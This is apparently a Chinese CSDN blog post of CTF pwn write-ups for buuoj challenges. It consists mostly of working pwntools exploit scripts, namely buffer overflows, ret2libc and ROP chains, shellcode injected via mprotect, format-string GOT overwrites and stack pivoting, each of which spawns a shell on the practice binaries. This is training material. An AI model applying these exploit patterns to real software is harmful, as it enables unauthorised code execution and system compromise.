buuoj pwn

本文记录了一系列CTF比赛中的漏洞利用技术,包括栈溢出、rop、gdb调试、格式字符串漏洞、整数溢出等。通过实例详细解释了如何利用这些漏洞执行任意代码,如ret2text、ret2libc、ret2syscall等,并展示了不同场景下的payload构造技巧。此外,还涉及到了shellcode注入和堆栈迁移等高级技术。
摘要由CSDN通过智能技术生成

ret2text

rip

pwntools gdb 调试

gdb.debug(’./xxx’)

pause()

在弹出窗口设好断点,用 python 传递不可打印字符

堆栈平衡,简单溢出

from pwn import *
#context.log_level='debug'
#p=remote('node3.buuoj.cn',27864)
#p=gdb.debug('./pwn1')

#pause()
target_addr=0x401186
ret_addr=0x401016
pay='a'*(0xf+8)+p64(ret_addr)+p64(target_addr)
p.sendline(pay)
#pause()
p.interactive()

warmup_csaw_2016

简单溢出

from pwn import *
p=process('./warmup_csaw_2016')

sys_addr=0x40060d
pay='a'*(0x40+8)+p64(sys_addr)
p.sendline(pay)
p.interactive()

pwn1_sctf_2016

程序会将 I 替换成 you

用 I 构造一定长度的 payload 溢出

from pwn import *
p=process('./pwn1_sctf_2016')

#p=gdb.debug('./pwn1_sctf_2016')
get_flag_addr=0x8048F0D
#pause()
pay='I'*((0x3c+4)/3)+'a'*((0x3c+4)%3)+p32(get_flag_addr)
p.sendline(pay)
p.interactive()

ciscn_2019_n_1

简单覆盖

小数的二进制表示

from pwn import *
p=process('./ciscn_2019_n_1')

pay='1'*(0x30-4)+p64(0x41348000)
p.recvuntil('guess the number.\n')
p.sendline(pay)
p.interactive()

baby_rop

简单的 rop

from pwn import *
p=process('./baby_rop')

rdi_addr=0x400683
sys_addr=0x400490
sh_addr=0x601048

pay='a'*(0x10+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)
p.recvuntil("What's your name?")
p.sendline(pay)
p.interactive()

level2 & level2_x64

简单的 rop

from pwn import *
p=process('./level2')

sh_addr=0x804A024
sys_addr=0x8048320
pay='a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(sh_addr)

p.recvuntil('Input:')
p.sendline(pay)
p.interactive()
from pwn import *
p=process('./level2_x64')

sys_addr=0x4004c0
sh_addr=0x600a90
rdi_addr=0x4006b3

pay='a'*(0x80+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)
p.recvuntil('Input:')
p.sendline(pay)
p.interactive()

bjdctf_2020_babystack

简单 rop

from pwn import *
p=process('./bjdctf_2020_babystack')

backdoor=0x4006E6
pay='a'*(0x10+8)+p64(backdoor)
p.recvuntil('[+]Please input the length of your name:')
p.sendline('100')
p.recvuntil("[+]What's u name?")
p.sendline(pay)
p.interactive()

ciscn_2019_ne_5

from pwn import *
#p=process('./ciscn_2019_ne_5')
p=remote('node3.buuoj.cn',27369)
#p=gdb.debug('./ciscn_2019_ne_5')

sh_addr=0x80482ea
sys_addr=0x80484d0
pay='a'*(0x48+4)+p32(sys_addr)+'aaaa'+p32(sh_addr)

p.recvuntil('Please input admin password:')
p.sendline('administrator')
p.recvuntil('0.Exit')
p.sendline('1')
p.recvuntil('Please input new log info:')
#pause()
p.sendline(pay)

p.recvuntil('0.Exit')
p.sendline('4')
p.interactive()

ret2syscall

one_gadget

用 one_gadget 找到 exec ,用给出的 printf@plt 算出基址

from pwn import *
#p=process('./one_gadget')
p=remote('node3.buuoj.cn',28384)
libc=ELF('./libc-2.29.so')

one_gadget_addr=[0xe237f,0xe2383,0xe2386,0x106ef8]
p.recvuntil('0x')
printf_addr=int(p.recv(12),16)
print hex(printf_addr)
libcbase=printf_addr-libc.symbols['printf']
pay=libcbase+one_gadget_addr[3]

sleep(0.5)
p.sendline(str(pay))
p.interactive()

ret2libc

ciscn_2019_c_1

栈溢出泄漏基址,一波 LibcSearcher 冲冲冲

from pwn import *
from LibcSearcher import *
#context.log_level='debug'
#p=process('./ciscn_2019_c_1')
p=remote('node3.buuoj.cn',26505)

elf=ELF('./ciscn_2019_c_1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

main_addr=0x400B28
rdi_addr=0x400c83
ret_addr=0x4006b9
pay='a'*(0x50+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.recvuntil('Input your choice!\n')
p.sendline('1')
p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(pay)

p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_addr=u64(p.recv(6)+'\x00\x00')

print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')

sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')
pay='a'*(0x50+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)

p.recvuntil('Input your choice!\n')
p.sendline('1')
p.recvuntil('Input your Plaintext to be encrypted\n')
p.sendline(pay)

p.interactive()

ciscn_2019_n_5

堆栈平衡 ret

from pwn import *
from LibcSearcher import *
#context.log_level='debug'
#p=process('./ciscn_2019_n_5')
p=remote('node3.buuoj.cn',28418)
elf=ELF('./ciscn_2019_n_5')

rdi_addr=0x400713
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400636
ret_addr=0x4004c9

pay='a'*(0x20+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil('tell me your name')
p.sendline('a')
p.recvuntil('What do you want to say to me?\n')
p.sendline(pay)
puts_addr=u64(p.recv(6)+'\x00\x00')
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay='a'*(0x20+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)
p.recvuntil('tell me your name')
p.sendline('a')
p.recvuntil('What do you want to say to me?\n')
p.sendline(pay)
p.interactive()

bjdctf_2020_babyrop

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node3.buuoj.cn',28920)
elf=ELF('./bjdctf_2020_babyrop')

main_addr=0x4006AD
rdi_addr=0x400733
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

pay='a'*(0x20+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil('Pull up your sword and tell me u story!\n')
p.sendline(pay)
puts_addr=u64(p.recv(6)+'\x00\x00')
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay='a'*(0x20+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)
p.recvuntil('Pull up your sword and tell me u story!\n')
p.sendline(pay)
p.interactive()

babyrop

很好的一道题,有多种溢出方法

read 函数读取到 \n

strlen 从 \x00 截断

构造以 \x00 开头的 pay 可以绕过 strcpyn 函数

用输入足够长的 buf 覆盖 v6 使下一个函数中的 buf 可以栈溢出

libc.so 需要基址

leak by puts

#leak by puts 
elf=ELF('./pwn')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x8048825

pay='\x00'+'\xff'*(0x2c-0x25) #use buf to cover v6 to make the length enough
p.sendline(pay)

p.recvuntil('Correct\n')
pay1='a'*(0xe7+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendline(pay1)
puts_addr=u32(p.recv(4))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay1='a'*(0xe7+4)+p32(sys_addr)+p32(1)+p32(sh_addr)
p.sendline(pay)
p.recvuntil('Correct\n')
p.sendline(pay1)
p.interactive()

leak by write

#leak by write
elf=ELF('./pwn')
#libc=ELF('./libc-2.23.so')

write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=0x8048825

pay='\x00'+'\xff'*(0x2c-0x25) #use buf to cover v6 to make the length enough
p.sendline(pay)

p.recvuntil('Correct\n')
pay1='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(pay1)
write_addr=u32(p.recv(4))
print hex(write_addr)

libc=LibcSearcher('write',write_addr)
libcbase=write_addr-libc.dump('write')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay1='a'*(0xe7+4)+p32(sys_addr)+p32(1)+p32(sh_addr)
p.sendline(pay)
p.recvuntil('Correct\n')
p.sendline(pay1)
p.interactive()

leak by libc.so

from pwn import *
from LibcSearcher import *
#p=process('./pwn')
p=remote('node3.buuoj.cn',26060)
#arch 32

# leak by libc.so
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')

pay='\x00'+'\xff'*(0x2c-0x25)
p.sendline(pay)
p.recvuntil('Correct\n')

write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=0x8048825
sys_addr=libc.symbols['system']
sh_addr=libc.search('/bin/sh').next()

pay1='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(pay1)
write_addr=u32(p.recv(4))
libcbase=write_addr-libc.symbols['write']

sys_addr+=libcbase
sh_addr+=libcbase
pay1='a'*(0xe7+4)+p32(sys_addr)+p32(1)+p32(sh_addr)

p.sendline(pay)
p.recvuntil('Correct\n')
p.sendline(pay1)
p.interactive()

babyrop2

from pwn import *
from LibcSearcher import *
#context.log_level='debug'
#p=process('./babyrop2')
p=remote('node3.buuoj.cn',28182)
elf=ELF('./babyrop2')

main_addr=0x400636
rdi_addr=0x400733
rsi_addr=0x400731
ret_addr=0x4004d1
format=0x400770
read_got=elf.got['read']
printf_plt=elf.plt['printf']

pay='a'*(0x20+8)+p64(rdi_addr)+p64(format)+p64(rsi_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)

p.recvuntil('your name?')
p.sendline(pay)
p.recvuntil('Welcome to the Pwn World again, ')
p.recvuntil('Welcome to the Pwn World again, ')

read_addr=u64(p.recv(6)+'\x00\x00')
print hex(read_addr)
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')

sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')
pay='a'*(0x20+8)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)+'aaa'

p.recvuntil('your name?')
p.sendline(pay)
p.interactive()

pwn2_sctf_2016

integer overflow

from pwn import *
from LibcSearcher import *
#context.log_level='debug'
#p=process('./pwn2_sctf_2016')
p=remote('node3.buuoj.cn',29029)
elf=ELF('./pwn2_sctf_2016')
#p=gdb.debug('./pwn2_sctf_2016')

ret_addr=0x8048346
format_addr=0x80486F8
printf_got=elf.got['printf']
printf_plt=elf.plt['printf']
pop2_addr=0x804864e
main_addr=0x80485B8

pay='a'*(0x2c+4)+p32(printf_plt)+p32(pop2_addr)+p32(format_addr)+p32(printf_got)+p32(main_addr)
p.recvuntil('How many bytes do you want me to read?')
p.sendline('-1')
p.recvuntil('bytes of data!')
p.sendline(pay)

p.recvuntil('You said: ')
p.recvuntil('You said: ')
printf_addr=u32(p.recv(4))
print hex(printf_addr)

libc=LibcSearcher('printf',printf_addr)
libcbase=printf_addr-libc.dump('printf')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay='a'*(0x2c+4)+p32(sys_addr)+'a'*4+p32(sh_addr)
p.recvuntil('How many bytes do you want me to read?')
p.sendline('-1')
p.recvuntil('bytes of data!')
p.sendline(pay)
p.interactive()

2018_rop

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29515)
#p=process('./2018_rop')
elf=ELF('./2018_rop')

main_addr=0x80484C6
write_plt=elf.plt['write']
write_got=elf.got['write']
pop3_addr=0x804855d

pay='a'*(0x88+4)+p32(write_plt)+p32(pop3_addr)+p32(1)+p32(write_got)+p32(4)+p32(main_addr)
p.sendline(pay)
#p.recvuntil('Hello, World\n')
write_addr=u32(p.recv(4))
print hex(write_addr)

libc=LibcSearcher('write',write_addr)
libcbase=write_addr-libc.dump('write')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay='a'*(0x88+4)+p32(sys_addr)+'aaaa'+p32(sh_addr)
p.sendline(pay)
p.interactive()

ret2shellcode

get_started_3dsctf_2016 & not_the_same_3dsctf_2016

mprotect

直接溢出到 get_flag 会在读取文件的时候莫名错误

mprotect 给 bss(似乎必须是 0x1000 的整数倍,页对齐?)加权限

get_started_3dsctf_2016

int mprotect(const void *start, size_t len, int prot);
//参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限 0x7全给

x86 的多函数 payload 模板

offset+p32(func1_addr)+p32(pop1)+p32(para_for_func1)
+p32(func1_addr)+p32(pop2)+p32(para_for_func2)
from pwn import *
p=process('./get_started_3dsctf_2016')
elf=ELF('./get_started_3dsctf_2016')
#p=gdb.debug('./get_started_3dsctf_2016')
#pause()

mprotect_addr=0x806EC80
bss_addr=0x80e9000
read_addr=elf.symbols['read']
pop3_addr=0x80483b8

pay='a'*0x38+p32(mprotect_addr)+p32(pop3_addr)
pay+=p32(bss_addr)+p32(0x200)+p32(0x7)
pay+=p32(read_addr)+p32(bss_addr)+p32(0)+p32(bss_addr)+p32(0x200)

p.sendline(pay)
sleep(0.2)

pay=asm(shellcraft.sh())
p.sendline(pay)
p.interactive()

not_the_same_3dsctf_2016

from pwn import *
#p=remote('node3.buuoj.cn',26569)
p=process('./not_the_same_3dsctf_2016')
elf=ELF('./not_the_same_3dsctf_2016')
#p=gdb.debug('./not_the_same_3dsctf_2016')
#pause()

mprotect_addr=0x806ED40
read_addr=0x806E200
bss_addr=0x80ec000
pop3_addr=0x809e3e5

pay='a'*(45)+p32(mprotect_addr)+p32(pop3_addr)+p32(bss_addr)+p32(0x200)+p32(7)
pay+=p32(read_addr)+p32(bss_addr)+p32(0)+p32(bss_addr)+p32(0x200)
#p.recvuntil('b0r4')
sleep(0.5)
p.sendline(pay)
sleep(0.5)
p.sendline(asm(shellcraft.sh()))
p.interactive()

get_secret 将 flag 写入 bss 段,可以用 write 函数将 bss 写出

mprotect_addr=0x806ED40
read_addr=0x806E200
bss_addr=0x80ec000
pop3_addr=0x809e3e5

pay='a'*(45)+p32(mprotect_addr)+p32(pop3_addr)+p32(bss_addr)+p32(0x200)+p32(7)
pay+=p32(read_addr)+p32(bss_addr)+p32(0)+p32(bss_addr)+p32(0x200)
#p.recvuntil('b0r4')
sleep(0.5)
p.sendline(pay)
sleep(0.5)
p.sendline(asm(shellcraft.sh()))
p.interactive()

ez_pz_hackover_2016

from pwn import *
#p=process('./ez_pz_hackover_2016')
p=remote('node3.buuoj.cn',25618)
#p=gdb.debug('./ez_pz_hackover_2016')
elf=ELF('./ez_pz_hackover_2016')

p.recvuntil('Yippie, lets crash: 0x')
s_addr=int((p.recv(8)),16)
print(hex(s_addr))
pay='crashme\x00\x00'+'a'*17+p32(s_addr-0x1c)+asm(shellcraft.sh())
#pay+='a'*(0x32-len(pay)+4)+p32(s_addr)

p.sendline(pay)
p.interactive()

format string vuln

pwn5

格式化字符漏洞,姿势众多

覆盖判断变量,绕过判断

from pwn import *
p=process('./pwn5')

target_addr=0x804C044
offset=10

pay=fmtstr_payload(offset,{target_addr:0x11111111})
p.recvuntil('name:')
p.sendline(pay)
p.recvuntil('passwd:')
p.sendline(str(0x11111111))
p.interactive()

把 atoi 的 got 表改成 system() 读入 /bin/sh 劫持函数

from pwn import *
p=process('./pwn5')
elf=ELF('./pwn5')

atoi_addr=elf.got['atoi']
sys_addr=elf.symbols['system']
offset=10

pay=fmtstr_payload(offset,{atoi_addr:sys_addr})
p.recvuntil('name:')
p.sendline(pay)
p.recvuntil('passwd:')
p.sendline('/bin/sh\x00')
p.interactive()

覆盖 read atoi printf puts 的 got 表劫持程序流程

from pwn import *
p=process('./pwn5')
#p=gdb.debug('./pwn5')
elf=ELF('./pwn5')

printf_addr=elf.got['printf']
read_addr=elf.got['read']
#puts_addr=elf.got['puts']
atoi_addr=elf.got['atoi']
sys_addr=0x804931A#bypass judgment
offset=10

pay=fmtstr_payload(offset,{read_addr:sys_addr})
p.recvuntil('name:')
p.sendline(pay)
p.recvuntil('passwd:')
p.sendline(str(0x11111111))
p.interactive()
#leaking by puts is not available,maybe something is wrong

integer overflow

r2t3

长度变量 v3 为 unsign int8,超过 0xff 溢出,所以可以用长度为 0x104~0x108 的字符串整形溢出

strlen 和 strcpy 都存在 \x00 截断,不能用 \x00 绕过长度验证

from pwn import *
p=process('./r2t3')

sh_addr=0x804858B
pay='a'*(0x11+4)+p32(sh_addr)+'a'*(0x104-0x11-4-4)
p.recvuntil('Please input your name:')
p.sendline(pay)
p.interactive()

ciscn_n_8

_QWORD 为 4 个字节

from pwn import *
p=process('./ciscn_2019_n_8')

pay='a'*(13*4)+p64(17)
p.recvuntil('name?')
p.sendline(pay)
p.interactive()

stack migration

ciscn_2019_es_2

migrate to stack

from pwn import *
#p=gdb.debug('./ciscn_2019_es_2')
#p=process('./ciscn_2019_es_2')
p=remote('node3.buuoj.cn',28334)

sys_addr=0x8048400
leave_ret=0x80484b8
pay='a'*0x28
p.sendafter("Welcome, my friend. What's your name?\n",pay)

p.recvuntil('a'*0x28)
ebp_addr=u32(p.recv(4))
print hex(ebp_addr)

pay=('a'*4+p32(sys_addr)+'b'*4+p32(ebp_addr-0x28)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp_addr-0x38)+p32(leave_ret)
#pay=('a'*8+p32(ebp_addr-0x24)+'b'*4+p32(sys_addr)+'c'*4+p32(ebp_addr-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp_addr-0x2c)#+p32(leave_ret)
#perfectly use function main's leave
sleep(0.2)
p.sendline(pay)
p.interactive()

spwn

migrate to .bss

from pwn import *
from LibcSearcher import *
#context.log_level='debug'
#p=gdb.debug('./spwn')
#p=process('./spwn')
p=remote('node3.buuoj.cn',28086)
elf=ELF('./spwn')

s_addr=0x804A300
leave_ret=0x8048408
write_plt=elf.plt['write']
write_got=elf.got['write']
pop3_addr=0x80485a9
ret_addr=0x8048312
main_addr=0x8048513

pay='a'*4+p32(write_plt)+p32(pop3_addr)+p32(1)+p32(write_got)+p32(4)+p32(main_addr)
p.recvuntil('What is your name?')
p.sendline(pay)
pay='a'*(0x18)+p32(s_addr)+p32(leave_ret)
p.recvuntil('What do you want to say?')
p.send(pay)

#sleep(0.5)
write_addr=u32(p.recv(4))
print hex(write_addr)
libc=LibcSearcher('write',write_addr)
libcbase=write_addr-libc.dump('write')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay='a'*4+p32(sys_addr)+'a'*4+p32(sh_addr)#+p32(main_addr)
p.recvuntil('What is your name?')
p.sendline(pay)
pay='a'*(0x18)+p32(s_addr)+p32(leave_ret)
p.recvuntil('What do you want to say?')
p.sendline(pay)
p.interactive()

other

[BJDCTF 2nd]test

ssh 使用和 system 的特殊使用

  • test.c在if 判断这块过滤了很多命令,取下的过滤规则是 “n|e|p|b|u|s|h|i|f|l|a|g”,可以使用下面命令,查看剩余可以使用的命令
  • ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
from pwn import *
shell=ssh('ctf','node3.buuoj.cn',password='test',port=29706)
p=shell.run('sh')
p.sendline('./test')
sleep(0.2)

p.sendline('x86_64')
p.sendline('cat flag')
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值